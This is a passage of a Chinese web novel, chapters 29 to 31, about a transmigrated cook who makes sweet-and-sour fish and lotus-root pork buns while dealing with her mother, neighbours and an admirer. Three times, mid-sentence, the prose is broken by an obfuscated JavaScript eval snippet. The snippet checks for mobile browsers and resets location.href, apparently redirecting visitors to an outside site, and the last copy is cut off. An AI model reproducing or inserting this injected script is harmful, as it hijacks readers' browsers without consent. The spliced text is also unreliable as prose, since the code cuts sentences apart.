不过这次她要挑战新花刀。鱼两面打上六刀,刀距2-3公分。 今天这道菜是道名菜,所以她格外认真,这也是她今后要开的饭店的一道主菜,今个正好用来练手了。毕竟她也有小半年没做过糖醋鱼了,也有小半年没精进自己的刀工了。 徐安然手握菜刀,斜着45度打到骨脊后改平刀贴着骨头往里推,这种刀法叫大翻肉,通常用来做像糖醋鲤鱼或者松鼠桂鱼这样的大菜。 做这道菜更推荐用五斤以上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178314|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大鱼,太小了浪费食材,太大了的话又不好炸,五斤最合适。 徐安然是按照一家五口人的分量来算的,她忘了,此时家里只有她和一个年迈的老母亲。 鱼肉双面都改成大翻刀,从鱼尾处将鱼肉提起来,像是一颗树一样,鱼肉向前翻开,整条鱼看起来玲珑剔透,刀口都是透的,十分好看。 “哇哦。”苏清都忍不住惊叹一句,“安然,你这手刀工了得。” “那是,否则我怎么会有信心想要开店呢。”她嘚瑟地说。 “这样改刀,不仅好看和入味,更是为了在吃的时候方便,筷子一夹就是一块完整的鱼肉,不信的话,娘你且再等上一个时辰。” 徐安然说完,再次进入自己的烹饪世界。 苏清见她这样,就知道她又要认真了,索性她也没说接下来有什么需要她帮忙的地方,便离开了厨房,跟小兔子们玩去了。 厨房内的徐安然找来一个干净的盆,在里头装满清水,将处理好的鱼肉放进去浸泡的同时,又加了两勺盐,目的是为了将鱼肉中的血污清洗干净。 清洗完之后,再重复同样的都动作,但这次加盐不是为了清洗鱼肉中的血污,而是为了更好的衬托糖醋鱼的甜。想要甜加点盐,加了盐之后,鱼肉会变得会更加紧实。 趁着鱼肉在泡水的功夫,徐安然开始准备小料。 这道菜的小料主要还是葱姜蒜末,将其全部剁成粉末,其中蒜末需要比葱姜多一倍,太少的话不出味。 正当她要进行下一步操作的时候,屋外传来了李秀莲呼喊的声音。 这丫头,嗓门大,刚到她家门口就开始喊,在厨房都听见了。 徐安然卸下围裙,到厨房门口往门外看。 只见她挎着一个篮子,里头装了东西,但看不清是什么。 下一秒,她便解了惑。 “我们家池塘,荷花开得正好,我爹下去挖了些藕,我给你带些过来。”李秀莲说。 她有时候真像个NPC,及时送来自己心中所想的蔬菜。 正想着食材中只有鱼,不过丰富呢,这不,新鲜的藕就来了。 “你真是我的好姐妹。”徐安然笑眼盈盈地接过她送来的藕,一个个胖乎乎的,十分可爱。 藕本身就是一道美味的食材,即使跟主食是鱼的糖醋鱼一起,也不会被抢了风头。 酸甜藕片,味道可美了。 光想着,徐安然就忍不住口齿生津。 “正好,我准备做一道糖醋鱼,你爱吃酸,你姐姐爱吃甜,这道菜两种味型都有,你且等上一会儿,我做好了,你拿一些回去吃。就当作这些莲藕的回礼了。” 李秀莲眼前一亮,但还是矜持地说了句:“哪里用这么客气,我们姐妹俩也没少吃你做的美食。” 徐安然哪里听不出李秀莲真正的意思,她明了道:“等着吧,五刻钟最多了。” “得咧~那我就等着了。” 李秀莲也不是坐着干等,院子里的活儿,她也在参与。 29. 第 29 章 徐安然自然也注意到了李秀莲的动作,并没阻止,只要忙起来,她会更自在。 她清洗干净莲藕,切成怕薄片。藕片需要烫一遍,知道颜色变得些许透亮后,便将其捞出。 藕片还需要经过油炸,所以不需要炸太长时间。捞出来后,还有一个挂糊的步骤,之前以为这个世界没有类似淀粉类的调料,但最近常去镇上摆摊后,她倒是发现了一个可以代替淀粉的东西,那就是玉米粉。 和淀粉的成分差不多,最终的效果也和淀粉差不多。但是光玉米粉还不过,她又加了一个鸡蛋清。 这些步骤不算复杂,只是有些繁琐,但是好吃不怕繁琐。 给藕片挂上玉米粉之后,整个入锅前的切配工作就都完成了。 锅里倒上一半的油,趁着油热期间,她临时调了一个芡汁。 玉米粉和面粉,加上半碗水,挂糊是为了让鱼肉更加外酥里嫩,否则一整鱼入锅,即使火候把控得很精准,也达不到外酥里嫩的最佳效果。 她完全是凭借肌肉记忆去调配的面糊,感觉到抓起面糊,滴落下来像丝绸那样自然垂落的丝滑感,就是她心里理想的面糊状态。 她始终觉得,做菜不能生搬硬套,精确的数值,做出来的菜没有厨师的灵魂。 做好面糊之后,再给草鱼挂糊时,需要将鱼肉表面的水分给擦干。紧接着在鱼肉表面稍微撒点面粉,这么做是为了更好地挂上面糊。 她事先已经将鱼放在盐水里泡过了,所以在刀口处撒盐这个传统的做法便可以省略掉。 在炸鱼之前,先炸藕片。 徐安然拿着装着藕片的碟子,静静地看着眼前的油锅,直到有细微的泡泡出现,便倒入藕片,炸到颜色微微发黄。徐安然没过多注意藕片的情况,只要藕片浮起来,就能出锅了。 下一步,就是最关键的炸鱼环节了。 徐安然双手一手掐着鱼头,一手拿着鱼尾,平行地将整条鱼往面糊中放,上下反复拿起。两面里外均匀地挂上面糊,每一处都不放过。 挂好之后,她立即下锅,否则时间一长,面糊就会垂,垂了再炸,口感就不如刚挂上面糊的时候,这也是她为什么要在炸完藕片之后才挂面糊的原因。 炸鱼的时候,全凭厨师的手感了,入锅想要一个上翘的造型,那么在炸定型之前,就要固定好形状,入锅对造型没什么追求,那么直接炸就行,她对造型就没什么追求,所以直接入锅炸。 等鱼肉炸到定型之后,减掉部分柴火,温火继续炸。 期间徐安然拿出另一口锅,准备煮糖醋汁。 从旁边的鱼锅里捞一勺油,紧接着放入葱姜蒜末,煸香之后,倒入醋汁。 同时,一股巨大的醋酸味从厨房穿出,引得厨房外忙碌的两人打了个喷嚏。 她们不约而同地朝着徐安然所在的厨房方向看,但没看出她在做什么。 其实这一步叫做烹醋,目的是为了去醋酸,只留下醋香。 烹醋起来之后,再加水,她加水的分量和醋的量一样,紧接着再加糖,糖比醋多一些。 都加上之后,再用酱油提色。之后加上一勺玉米粉,增加汤汁的浓度。除此之外,她还加了几个被煮烂的番茄,番茄的加入不仅是为了提升酸味,更是为了让整条鱼不那么腻,毕竟鱼经过高温油炸。 在她下厨期间,在院子里帮忙的李秀莲时不时往厨房的方向看,不带一点掩饰。 加了玉米粉之后,整个糖醋汁十分像一碗疙瘩汤,这让她突然就想好了明天吃什么。 此时,油锅里的鱼颜色已经变得金黄,她再加了些柴火,让油变得更热一些,继续炸上一会儿,一刻钟之后,鱼出锅了。最后一步,淋上糖醋汁。 浓稠的糖醋汁自上而下,像丝绸一样丝滑地经过鱼肉的每一个部位,最后被徐安然端到家里的小餐桌上。 “鱼好了。” 她喊来两人。 没等多久,两人出现在她面前,两人的的眼神十分同步地看着桌上的鱼。 哦不,是糖醋草鱼。 这是徐安然第一次做如此正式的一道菜,之前更偏向于小吃类型,所以两人都十分惊讶。 特别是李秀莲。 “这道菜,我敢肯定,聚福楼的厨子都做不出来,安然,你真是太厉害了!” 虽然还没吃到这道菜,但李秀莲已经给出了非常高的评价。 徐安然挑了挑眉,实在没想到会得到那么高的评价。但是下一秒,她便将鱼一分为二。 一开始就答应了要给李秀莲一半鱼带回去,自然说到做到。 “这一半你拿回去吃吧,我和我娘两个人吃不了那么多。” “哎呦,安然。”李秀莲脸上满是心疼,“这样完整的鱼,你咋就给它分掉了。我还没欣赏够呢。” “比起欣赏,其实你更想吃吧?我看穿你了。”徐安然语气肯定。 被戳破小心思的李秀莲有那么一瞬间的羞臊,但很快她就承认了。 “那倒是,嘿嘿。” 一旁苏清见徐安然这样大方,心里好一阵心疼,这鱼少说也要十几文,是从前她们家小半个月的支出了。 但现在已经家里已经是徐安然当家了,所以她并没有出声说话。 在李秀莲带着糖醋鱼离开,细心的徐安然敏锐地察觉到了苏清的情绪。 她扶着苏清来到饭桌上,解释道:“娘,我前几次去镇上摆摊,李家两姐妹多我诸多照顾,秀莲今日又拿来那么多藕,给她拿点鱼回去是应该的,我很想结交这两位朋友。” “可是……你赚钱也不容易。”她也倒不是小气的人,只是觉得这是徐安然辛苦赚来的钱,她心疼的是自己的女儿。 她没有顺着苏清的话继续说下去,而是问:“娘,你相信我吗?” 苏清有些不明白徐安然为什么要这么问,但她条件反射地点了点头,“当然。” “相信我就够啦。”徐安然握住苏清的手,轻声道,“我会赚更多的钱,倒时候把我们家重新翻修一遍,然后再将父亲的茶馆改成饭馆,我做老板。” 看着如此自信的徐安然,苏清说不出一句打击的话,她点了点头,随后将视线转到一旁还冒着热气的糖醋鱼。 这道菜的香味一直吸引着她。 徐安然察觉到了,连忙拿起一旁的瓷碗,装了满满一碗白米饭,递给苏清:“娘先吃。” “哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187107|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”苏清笑着接过。 不论如何,她们家确实越过越好了,所以听女儿的话就好。 想通了之后,胃口也变好了。 她小心翼翼地夹起碟子里的鱼,轻轻一挑便整块肉带出来了。 鱼肉近乎金黄,鱼皮被炸得酥脆,但是鱼肉的内里却十分鲜嫩,咬一口,泛白的鱼肉间渗出丝丝热气,跟着徐安然的步骤,将咬了半口的鱼肉蘸上万历单独留出来的糖醋汁,入口酸酸甜甜,吃不出一点鱼腥味。 “怎么样?”徐安然自己也夹了一块鱼肉,边吃,边期待苏清的评价。 “用四个字形容,玲珑剔透。” 徐安然惊讶地看着苏清,没想到她也是个老吃家。 这道鱼的核心确实是玲珑剔透,因为油炸是最关键的一个步骤,将于炸得玲珑剔透,不仅口感好,也能更好地挂上糖醋汁。 苏清又夹了一块鱼肉,酥脆的鱼肉和酸甜的口感令她爱不释口。 果然是老少都爱的一道菜,见苏清这么喜欢,她心里已然将这道菜加入未来反饭馆的菜单之中。 于此同时,李秀莲刚带着糖醋鱼回到家中。 家里父母和姐姐都在等她吃晚饭,见她回来,总算松了口气。 “怎的让你去送了莲藕,送了快半个时辰才回来?饭菜都快凉了,赶紧坐下来吃。” 李超刚说完,眼神就瞥见了李秀莲带回来的陌生食盒。其实也不算陌生,好似见过一次,在哪里见过呢……他一时间没想起来,直到女儿说话。 “你们吃你们的呀,干嘛要等我。” 半条鱼安然和苏婶够吃了,但她们一家四口不够吃呀,她特意晚回来了会儿,想的就是爹娘和姐姐都吃得差不多了,没胃口再跟她抢鱼吃了呢。 结果…… 有时候父母太爱她,也是一种负担。 这显得想吃独食的她很不是人…… “秀莲,你怎回事,爹娘饿着肚子等你回来吃饭,你居然没有一点表示!”李秀敏佯装生气道。 其实是因为她看见了安然家的食盒,不出意外的话,里头一定装了好吃的。 “食盒里装的什么?”她又问。 “姐,你的目的太明显了,不过……你倒是发现了重点。”李秀莲将食盒放在桌上,没开盖之前,就已经飘着似有若无的香气了,直到她小心翼翼地将盖子。 酸甜的香味直冲鼻尖。 “哇~这是什么?”在坐的几人都被这香味吸引了,顿时觉得桌上的饭菜不香了。 “安然说这叫,糖醋鱼,我去送莲藕的时候正好赶上她在做这道菜,她说做好之后给我一半,实在盛情难却呀。”李秀莲双手叉腰,自豪地说,“我这次去送莲藕,是去对了。” 浓郁香气勾得在场其他人已经无心听李秀莲说话了,三人以一种十分罕见的默契,拿起筷子,朝着食盒里的鱼肉伸去。 正沾沾自喜的李秀莲一转头,发现爹娘姐三人都已经开吃了,生气地跺了跺脚:“你们怎么不等我!” 说完,也连忙拿上一副新筷,对着糖醋鱼精准夹击。 风卷残云半柱香不到的时间,糖醋鱼只剩下鱼骨头,甚至连糖醋汁都没有放过。 30. 第 30 章 “你们简直是土匪。”李秀莲拿着勺子,舀完最后一口糖醋汁后才说。 吃的时候根本不敢说话,因为说一句话,鱼肉就少一块。 “女儿,爹之前听你提起,你的朋友有开饭馆的想法?什么时候开?银钱方面够不够?爹有点小钱,可以投资……” 没等李超将话说完,一旁的李秀敏连忙打断:“爹,您可别有这样的想法,安然不像是会跟人合伙做生意的性子,而且您忘了,徐伯伯就是因为跟人合伙做生意……才……您这不是无形之间戳人痛处嘛。” 自从和徐安然一起清扫过茶馆后,她便跟村里很多老人打听了关于徐安然以前家中的一些往事,这才知道徐安然的父亲曾经跟人一起合伙经营茶馆,但是那人卷钱跑路了,若不是这样,在徐伯伯去世之后,徐安然娘俩的生活不至于过得那样拮据。 以前徐安然不爱出门,她倒也不太关注这些事,现在她真后悔,要是能早点结交这个朋友就好了。 “女儿考虑的是,是爹想得太简单了。”他被没事冲昏了头脑,好在自己大女儿还尚有几分理智。 “不过……”李秀敏话锋一转,“我们姐妹俩倒是可以去饭馆做工,我觉得安然会同意。” 此话一出,另外三人眼睛都亮了。 丁云更是着急问:“此事当真?” “是呀,安然曾经跟我们提过一嘴,说是等那间旧茶馆收拾出来正式开门时,请我们姐妹俩去店里工作,还有工钱能拿呢,只要能在店里帮忙,好吃的还会离我们太远吗?” 果然是全家最理智的人,经过她的好一顿分析,几人瞬间对这间还尚在襁褓中的饭馆有了期待。 徐安然并不知道李家姐妹俩已经盯上她饭馆的主意了,此刻正在饭桌前劝说苏清去镇上看大夫。 “娘,你为什么不愿去镇上看病?你这病又不是绝症,只要稍加调理,能根治。” “安然,你想得太简单了,你以为娘没去镇上看过吗?” 徐安然没说话,安静等着苏清往下说。 “之前帮你治腿伤的大夫,就是镇上有名的神医,他都对娘的病没有办法。”说着,苏清又忍不住咳嗽几声,“其实现在这样已经很好了,除了半夜常咳嗽外,没什么不适,看病需要花银子,咱们家现在日子是过得好一些了,因此更要节省些,更要记住那些难的日子,时常警戒自己。” “娘,我明白你的意思了。” 话里话外,还是心疼银子。那她就多赚一些,让苏清有这个底气。 “明日我再去一趟茶馆,您要不要一起过去?”茶馆经过第一次的清扫,灰尘没那么大了。 苏清整日都在家里待着,喊她过去,也是怕她无聊。 果然,在她说完之后,苏清连忙点头。 “行呀,娘跟你一块儿去,等你下次上山,娘也跟你一块去好不好?” “自然,我上次都答应过您了嘛。” 两人又在饭桌前聊了一会儿,这才收拾起桌上的残羹。 她是个很讨厌洗碗的人,但自从跟苏清在一起生活之后,她发现自己也没那么讨厌洗碗了。 可能是夜晚的月光很亮,星星很密,她此刻所在的位置如同点了烛火一般,且伴随着附近树上叽叽喳喳的虫鸣,这样天然的背景音乐,让她觉得无比惬意,宁静,又自在。 这样好看的月光,总得做点什么。 想到这,她更是拿出了许久没洗的家具,虽然现在还没有那么多银子添置新的,但至少,每一件旧家具都可以干干净净的。 徐安然一干起活儿来,就忘了时间,直到苏清洗漱完,在门外喊她。这才反应过来,此刻早已到了平日她睡觉的点。 “娘,你先睡,我再收拾一会儿。” 索性明天不去镇上摆摊,现在干活儿的热情来了,就把明面上所有的活儿都做完吧。 “别太勉强,累了就休息。”苏清没有制止她工作,嘱咐了两句便回屋了,她知道自己女儿的性子,这活儿做不到她心里的预期,任谁都劝不来。 “行,我知道啦。”徐安然答应得很爽快,但就连她自己都不知道到底要什么时候才能结束。 因为除了将家具用水清理过一便之外,她又重新打扫了一遍鸡舍,兔笼,顺带院子外的木门和院子内柿子树下的石桌都给擦了一遍。 今夜的日光太亮了,亮到她一点困意都没有。 这样的亢奋,一直持续到后半夜,实在熬不住了,她这才善罢甘休。 第二日一早,徐安然甚至是家里第一个起来的人。 鸡舍就在她住的屋子前面,每天十分准时地跳出鸡笼,然后跳到她房间的窗户上,对着屋内鸣叫。 明明是只下蛋的母鸡,却还要做着公鸡的活儿,所以徐安然每次给她喂食都会给上双份,这是母鸡应得的。 此时,徐安然正一边漱口,一边和鸡四目相对。她吐掉嘴里的漱口水,指着面前的母鸡说:“我给你起个名儿吧,就叫尖叫怎么样?” 话音刚落,徐安然自己都笑了。 这只鸡每天早上都会尖叫,这名字还真听适合她。 “行了,以后就叫你尖叫了,尖叫鸡。” 尖叫听完徐安然的话,没给任何表示,扭身去找兔笼里的三只兔子,只给徐安然留下一个潇洒的背影。 这段时间,尖叫和家里的三只兔子相处得格外融洽,虽然不同物种,但沟通上好像不是问题。 家里还剩下些面粉,脑子里菜谱太多,她一时间定夺不下。好在这时候苏清醒了。 “娘,薄如蝉翼的春饼、清爽可口的莲藕包子、荷包蛋清汤面,这几样你最想吃什么?”徐安然抛出几个自己比较想吃的,然后再让苏清做选择。 苏清闻言,思考了一会儿,说:“莲藕包子吧?一会儿我们要去旧茶馆,中午不知能否赶回来吃午饭,做好之后还能带些过去。” 上次徐安然去打扫茶馆,到傍晚才回家这件事,苏清没忘。 这个提议把徐安然说心动了。 “行,那我们就做莲藕包子。” 做包子,馅料重要,但揉面更重要,通常来说,她会追求“三光”状态,达到“盆光、手光、面光”。 这个朝代还没有酵母粉这样的东西,但却有酵种,酿酒剩下的麦芽混合物,或者水果酵种,水果捣碎后加水,放在温暖的地方养几天,等到水冒泡,就成了天然的水果酵种,而且还会带着淡淡的果香。 之前几次做面食都没有用到酵种,昨日她专门从镇上买了些回来,本来想留着备用,没想到第二天就用上了。 她将酵种水倒入面粉中,加入适量的水,先用筷子搅拌成絮状。揉面其实没什么技巧,只需要记住面多了加水,水多了加面。 揉面到后期,加上些猪油,提升包子皮的光泽和柔软度,这样,一个干净不粘手的面团就完成了。 期间,苏清一边忙着院子里的活儿,一边观察徐安然,月亮一样大的面团,在她手上变换自如,十分听话。 虽然已经不是第一次见徐安然揉面了,但每见到一次,她都会震惊一次。观赏性和实力并存,实在太强。 徐安然将面团放在一个干净的空碗里,紧接着再拿出两截已经洗干净的莲藕,先切成薄片,然后顺着藕孔的方向切成丝,最后剁成丁。 藕分为脆藕和粉藕两种,脆藕孔多,适合用来做馅儿,吃起来脆生,好吃。粉藕相反,孔少,吃起来粉糯,适合用来煲汤,更入味好吃。 李秀莲送来的莲藕是脆藕,倒是十分凑巧。 “需要娘帮忙吗?” 院子里没什么活儿可以做,所以苏清再次将目光投向了厨房里忙碌的徐安然。 “不需要啦,我自己忙就行,你等着吃就好咯。” “行,那娘就不在旁边打扰你了。”说完,苏清重新将厨房还给徐安然,然后自己去对面的兔笼,将三只兔子放出来一起玩。 徐安然视线看过去,见到的就是苏清和兔子一起玩的其乐融融的场面,她勾唇一笑,接着转过头继续做手头上的活儿。 将准备好的莲藕丁尽数装进盆子里,在大盆里调馅儿。当然,包子不可能只有莲藕,那太素了,还需要一些猪肉的加持。 好在,家里还剩下二两瘦肉,是上次周时带给她的猪里脊肉,还没吃完,一直挂在厨房的房梁上。用手摸了摸,已经有写风干的痕迹了,再这样挂上两月,估计可以成腊肉。 不过眼下季节不允许,快到雨水多的四月了。所以这里脊肉,不能再存放了。 猪肉也和莲藕一样,剁成肉末,加入一个鸡蛋一起搅拌,最后加些酱油和盐,以及些许花椒粉,一点肥肉入锅煸出猪油,倒入准备好的肉末,翻炒成酱色,此时,肉的香味已经十分明显了。 因为肉是上好的里脊肉,所以她便发挥了这个优点,将其做成了酱肉,味道更甜,而且也能有效去除猪肉里的腥臊味。 肉末很容易炒熟,直到其颜色变深,便可以出锅了。 在拌入莲藕丁之前,她先舀起一勺肉末,不是做包子的步骤,纯碎是因为馋。 她叫来苏清,一起吃这刚出锅的酱肉。 “娘,这是肉末最好吃的方法,而且简单,改日我教你。”徐安然一边吃,一边说。 每次做馅儿,她都忍不住先吃上几口馅儿,这不是习惯,是吃货的本能。 “行,自从你开始下厨之后,娘就没机会碰这些锅碗瓢盆了,倒是有写想念从前下厨的时候了。” “这么说,倒是我一直霸占厨房有些不懂事咯?” 徐安然自诩不是个勤快的人,但自从她穿越过来之后,好像确实比以前更勤快了。 或许是责任感在作祟吧,家里只有以为身体不好的母亲,总不能事事都要依赖她。 而且勤快点也不是什么坏事。 “娘可没有这么说,是你自己说的哦。” 跟她相处久了,现在苏清也能接上徐安然的玩笑话了。 母女俩在厨房里一边闲聊着天儿,一边吃包子馅料,时间又悄然过去半个时辰,最终徐安然看着越来越晒人的日头,总算开始最后一个步骤,包包子了。 在包之前,她还在馅料里加了些葱花,她吃饭离不开葱,令她庆幸的是,苏清跟她口味一致。 生来就是要做母女的。 在干净的砧板上撒上一些面粉,然后拿出已经发酵好的面团,再反复揉捏几次,挤出里头的空气。接着搓成长条,下手揪成大小一致的面剂子,再将面剂子揉成圆球,用手压扁后,用擀面杖,擀成一个厚度均匀的圆皮。 将圆皮放在手心,中间加上调好的馅料,将其全部固定在中间,最后向中间捏紧面皮,一边捏紧一边转圈,直到最后将馅料全部包进面皮里。 家里正好有一个好久不用的蒸篦,洗干净后垫上笼布,锅里提前加水,做好一个包子,就将其放进 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“上次听你说荸荠这东西看季节生长,这快入夏了,所以我多挖了些回来,怕你日后几个月想念但吃不到。” “额……”她为自己刚刚邪恶的想法感到抱歉。 “周大哥,你这也太客气了吧。”徐安然视线在他带来的一筐荸荠上扫了一眼,“这么多荸荠,挖了不少时间吧?” 比她上次挖的多了两倍。虽然上辈子闺蜜经常跟她说,心疼男人倒霉一辈子,但此刻她心里是真的有些心疼这个男人了。 今天还挺冷的呢。 “没多少时间,就是顺手的事。”周时嘿嘿一笑,不敢看徐安然,自从被她知道他的心事之后,他每次看徐安然都有些害羞。 “你留着吃吧,我先回家了。”说完,周时转身就要离开,全程她家的门都没踏进来一步。 徐安然连忙叫住他:“你等等呀。” “嗯?” 虽然不知道徐安然叫他做什么,但他还是乖乖等着了。只是一个步子都没往前迈。 徐安然又说:“你过来,我家是什么恐怖的地方吗,来了都不进屋坐坐。” “不是不是。”周时连忙摆手,“我只是……我还没想好,该怎么回答那日你在镇上问的问题。” “那日的问题?”她思考了几秒,“哦,没想好怎么回答就先别想了。进来坐会儿,我蒸了包子,一会儿拿几个回去,总不能让你白帮我挖荸荠吧?” “也不是什么都要算得那么清。”周时跟着徐安然进院子,在她身后小声说道。 兔子被苏清放出兔笼了,三只现在正在外面吵架呢,吵得要命,所以徐安然没听清周时在后边的嘀咕声音,她疑惑地转头,好奇问:“你说什么?” “没说什么。”他赶紧转移话题,“这三只兔子,壮了许多。” 徐安然满脸赞同,“是呀,这些个月可没少吃新鲜的蔬菜,吃得比我还要多呢。” “那你还够吃吗?” 徐安然瞪了周时一眼,“什么话,当然够了。” 周时嘿嘿一笑:“那就好。” 虽然徐安然说够吃,但周时还是默默记下了,正好家中还有些新鲜的蔬菜,他准备晚点送些过来。 “你坐着等一会儿吧,包子快蒸好了,最多再有一刻钟。”她指了指自己刚刚坐着休息的椅子,说。 那是家里唯二可以承受他体重的椅子了,其他的椅子……就那腿儿摇晃的程度,怕不是周时一坐马上就会散架了。 “家里有什么重活吗?我可以帮你做。” 让他坐着等,他更会不好意思。 “嗯……”徐安然四处看了一眼自己家里的环境,摇了摇头,“没有,不过……” “不过什么?”周时连忙问。 “不过下午我要跟我娘去茶馆,你有空一起过去吗?” 他想也不想就点头了,“有的,有的。”必须有的。 “行。”徐安然灿烂一笑,“那你现在更要坐着休息会儿了,等会拿了包子,你可以先回家收拾收拾,然后下午我们茶馆见。”说完,看向他那沾了泥土的裤子和鞋子。 周时又尴尬上了,光想着将东西带来给徐安然,居然忘了先收拾自己,他点了点头,“行,我是得收拾收拾。” 他俩说话期间,苏清一直在不远处观察,脸上的笑容根本收不住。 如果她的女婿是周时的话,真的非常可以。 至少是本村人,而且知根知底,是个好孩子,女儿嫁过去,不会吃苦。而且周时身体好,比她那早死的老伴强太多了。 她是过来人,并且现在作为第三人的角度看两个孩子,哪里不知道周时对自己女儿的心思。 只希望她女儿早日开窍。 厨房里,蒸笼里热气翻滚,盖子扑腾扑腾的响,水汽从缝隙中溢出,发出“嘶嘶”的声音。 掀开盖笼时,大量热蒸汽铺面而开,于此同时还带着莲藕馅儿包子独有的清香。 她好久没蒸包子了,在掀开盖子的时候忘了离远一些,热气直接打在她的脸上,令她控制不住地闭上眼睛。 “我去。”她嚎叫了一声。 与此同时厨房外的周时听到后,猛地冲进厨房。 热气很快散去,徐安然睁开眼睛,首先看到的不是锅里的包子,而是周时突然凑近的,担忧的双眼。 31. 第 31 章 “你没事吧?是不是熏到眼睛?”语气满是担心,“别揉眼睛。” 徐安然不自觉陷入这轮担忧双目中了,许久没说话。 “徐姑娘?”周时又问,同时在她眼前挥了挥手。 “哦。”她总算反应过来了,“我没事,不严重,现在好了。” 以前下厨时常发生的事情,她习惯了。 “下次莫要着急,小心些。”若不是名不正言不顺,他真想替徐安然包揽下所有这样的活儿。 想到这,他好像知道该怎么回答徐安然的问题了。 现在只需要等个合适的时间,现在显然不是,还有苏清和三只兔子一只鸡厨房外看着。 他不好意思。 “我知道了,不过这对于下厨的人来说,是很正常的事情。我曾经还……”话到嘴边,她顿住了。 见她突然停下了,周时连忙追问:“还什么?” “没事,拿了包子就快回去吧,未时二刻在旧茶馆,不见不散。” 她直接下了逐客令,倒也不是厌烦周时,只是觉得他们现在的关系有些不明不白,说多了显得她矫情。 周时不明白徐安然心里真正的想法,但是她话都这么说了,听话便是。 这也是四叔教他的,永远不要跟女孩争辩,特别是跟喜欢的女孩。 “好,我会准时到的。” 说完,带着刚出炉的莲藕酱肉包离开了徐安然的家。 带他走远后,徐安然连忙看向那满满一筐的荸荠。 这是真的好东西,而且鲜少有人吃过,所以可以随便定价,毕竟没有标准。 上次带了一部分去镇上卖,很快就被学生们们买光了,食客们的反馈也不错,所以这次除了做卤肉之外,拔丝荸荠也不能落下。 她心里盘算着,最多再去镇上摆摊三次,就能凑够重新翻修茶馆的银子,倒时请几个工匠,期间再去镇上卖点小食,顺便给饭馆宣传,这样,等她正式营业的时候,不至于门可罗雀。 周时在的时候,苏清一直都在暗处观察,周时走后她才出现。 出现后的第一句话不是问包子,而是问:“下午娘是不是不用去了?省得打扰你们年轻人说话。” “娘,我跟周时两个人单独待在一块,你就不担心?” “如果是别的男人,娘担心,但周时那孩子娘不担心。说真的,娘觉得你们俩可以……” “打住!!” 徐安然出声阻止了苏清接下来要说的话,她有预感,苏清要说撮合他俩的话。估计最近村里的风言风语她也听去了些,所以这几日,苏清常有意无意地提起周时。 “怎么了?”苏清显然还没说够。 “娘也不是想让你那么快的嫁人,但现在村里有个那么合适的人选,女子终归是要成家的,找个知根知底的,娘也放心。” “你放心吧,以我的能力,即使不嫁人也能过得风生水起,真的。”她知道古人的思想没那么容易改变,不嫁人的女孩是要被家里人批评不孝的。 苏清知道她不想继续这个话题,便也不再继续说下去了。 而且,包子香味很浓郁,她饿了。 “我还是看看我们安然蒸的包子吧,周时那孩子都吃过了,娘还没吃呢。” “就是嘛,吃包子,这茶馆,您还真得去,因为我想……下个月重新翻新上一遍,把改修的屋顶修了,然后把一楼的房间全部打通,这样更宽敞。”她想要重新翻新茶馆,在翻新前,还想让苏清再最后看一眼,免得以后看着四不象的饭馆,又开始怀念。 “都由你做主,娘没意见。” “行!一定不让娘失望。”说着,徐安然狠狠咬下一口包子,包子的热气还未散去,她被烫得不有地张开嘴呼吸,“烫,好烫。” “慢些,你这孩子,也不是个贪吃的性子呀。” “刚刚性情了,性情了。” 苏清刚说完她,下一秒自己也被烫到了。 “烫!” “娘,您不也是……” 母女俩对视一眼,终于忍不住笑出了声。 包子的味道一如即往地好吃,苏清一连吃了三个。 与此同时,周时正坐在桌前,徐安然知道他饭量大,所以给他装了六个包子,这会儿他正盯着面前的这几个包子发呆。 包子看着十分有食欲,但是他此刻却没什么心情品尝。他还在想,该怎么回答徐安然的问题。 这个问题困扰他两天了。 正当他一筹莫展之际,李四来了。是闻着味道来的,包子的味道。 “喂,你小子,这么香的包子在桌上,怎们还发呆呢?”李四说完,一屁股坐在周时对面,语气十分肯定,“这是从安然家拿回来的吧?六个包子,那孩子对你不错嘛。” “四叔,她都把我赶回来了。” “嗯?”李四顺势拿起其中一个包子,圆溜溜的,中间的褶子细密匀称,还热着,他捏了捏,还会回弹,居然还能回弹,比他包的包子更好看。 味道嘛…… 李四咬了一口。 也更好吃。 “嗯,香,嫩,这肉真好吃啊,莲藕脆甜,和肉一起吃,一点儿也不腻,比纯肉包子好吃多了,感觉六个有点不够吃了呢?”李四自顾自地给出了极高的评价。 “不是叔打击你,你除了力气大这个优点,好像也没啥值得提的了,唉,人家姑娘看不上你,也正常,不必伤心,我们靠行动来证明自己的价值。” “四叔,你这话,怎么这么像是要把我卖掉前的准备?” “啧,可不就是要把你卖掉嘛,你什么价值多没有,人家姑娘哪里会喜欢你》就凭你这张脸?还没我年轻时候的三分英俊呢。” 李四在自恋这一块儿,全家第一当仁不让。 如若周时也有像李四这样一张巧嘴,哪里还拿不下喜欢的女子? 但偏偏,周时嘴笨。 这也是让他最恨铁不成钢的一点,漂亮话不会说。但好在,这孩子有眼力见,而且干活认真,这也是人家姑娘不讨厌他的原因。 见李四还要拿第三个,周时连忙夺过碟子,“别吃完了,带两个回去给四婶。” “当然是要带回去给你四婶了,我是那种吃独食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 